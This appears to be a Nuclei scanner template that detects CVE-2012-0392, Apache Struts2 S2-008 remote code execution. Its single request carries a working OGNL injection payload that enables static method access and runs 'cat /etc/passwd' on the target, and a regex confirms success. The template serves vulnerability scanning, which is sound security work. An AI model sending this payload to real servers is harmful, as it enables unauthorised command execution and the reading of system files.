id: CVE-2012-0392

info:
  name: Apache Struts2 S2-008 RCE
  author: pikpikcu
  severity: critical
  description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
  reference: https://blog.csdn.net/weixin_43416469/article/details/113850545
  tags: cve,cve2012,apache,rce,struts

requests:
  - method: GET
    path:
      - "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200